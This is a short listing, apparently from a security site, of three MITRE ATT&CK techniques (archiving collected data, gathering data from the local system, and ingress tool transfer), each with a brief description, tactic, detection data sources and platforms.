Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre